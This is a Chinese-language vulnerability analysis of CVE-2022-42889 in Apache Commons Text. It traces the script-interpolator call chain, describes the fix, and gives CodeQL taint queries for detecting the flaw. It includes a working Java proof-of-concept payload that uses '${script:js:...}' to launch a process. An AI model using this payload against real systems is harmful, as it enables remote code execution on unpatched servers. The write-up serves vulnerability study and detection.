CVE-2022-42889 Apache Commons Text RCE 漏洞分析与 CodeQL
字数 1050 2025-08-18 17:33:44
Apache Commons Text RCE漏洞(CVE-2022-42889)分析与CodeQL实践
0x01 漏洞概述
漏洞描述:
Apache Commons Text组件在执行变量插值(variable interpolation)时存在远程代码执行漏洞。该组件允许动态评估和扩展属性,标准格式为${prefix:name},其中"prefix"用于查找执行插值的StringLookup实例。在1.5到1.9版本中,默认的Lookup实例集包含可能导致任意代码执行或与远程服务器交互的插值器。
影响版本: 1.5 <= Apache Commons Text <= 1.9
0x02 环境搭建
在Maven项目中添加依赖:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.9</version>
</dependency>
0x03 漏洞复现
基本使用示例
final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
final String text = interpolator.replace(
"Base64 Decoder: ${base64Decoder:SGVsbG9Xb3JsZCE=}\n" +
"Base64 Encoder: ${base64Encoder:HelloWorld!}\n" +
// 其他插值示例...
);
漏洞利用PoC
import org.apache.commons.text.StringSubstitutor;
public class EXP {
public static void main(String[] args) {
StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
String payload = "${script:js:new java.lang.ProcessBuilder(\"calc\").start()}";
interpolator.replace(payload);
}
}
0x04 漏洞分析
关键调用链
StringSubstitutor.createInterpolator()创建字符串替换器replace()方法调用substitute()方法- 最终调用到
org.apache.commons.text.StringSubstitutor#substitute - 解析变量名后调用
resolveVariable() - 最终到达
org.apache.commons.text.lookup.ScriptStringLookup#lookup
关键点
- 处理payload时对
:前后内容进行Split操作 - JavaScript引擎被实例化并执行恶意代码
- 通过
scriptEngine.eval()执行任意JavaScript代码
0x05 漏洞修复
在1.11.0版本中移除了不安全的插值器:
scriptdnsurl
0x06 CodeQL实践
数据库构建注意事项
错误方式:
codeql database create DB_DIR --language=java --command='mvn clean install'
正确方式:
- 提取所有相关包(包括JDK和漏洞包)
- 反编译这些包
- 使用
extract-java构造CodeQL数据库
CodeQL查询
Sink点定义
class ScriptEngineEval extends DataFlow::Node {
ScriptEngineEval() {
exists(MethodAccess ma |
ma.getCallee().hasName("eval") and
ma.getCallee().getDeclaringType().getASupertype*()
.hasQualifiedName("javax.script", "ScriptEngine") and
this.asExpr() = ma.getArgument(0)
)
}
}
Source点定义
class PublicMethodParameter extends DataFlow::Node {
PublicMethodParameter() {
exists(Method m, Parameter p |
m.getDeclaringType().isPublic() and
m.isPublic() and
p = m.getAParameter() and
p.getType().hasName("String") and
this.asParameter() = p
)
}
}
完整查询
/**
* @kind path-problem
*/
import java
import semmle.code.java.dataflow.DataFlow
import DataFlow::PathGraph
import semmle.code.java.dataflow.TaintTracking
class Config extends TaintTracking::Configuration {
Config() { this = "config" }
override predicate isSource(DataFlow::Node source) {
source instanceof PublicMethodParameter
}
override predicate isSink(DataFlow::Node sink) {
sink instanceof ScriptEngineEval
}
}
from Config cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "path"
0x07 总结
- 该漏洞源于Apache Commons Text组件中不安全的插值器实现
- 通过
script:前缀可以执行任意JavaScript代码 - 使用CodeQL可以有效识别此类漏洞,但需要注意数据库构建方式
- 修复方案是移除危险的插值器前缀
参考链接
- https://l3yx.github.io/2022/12/17/用CodeQL分析漏洞-CVE-2022-42889/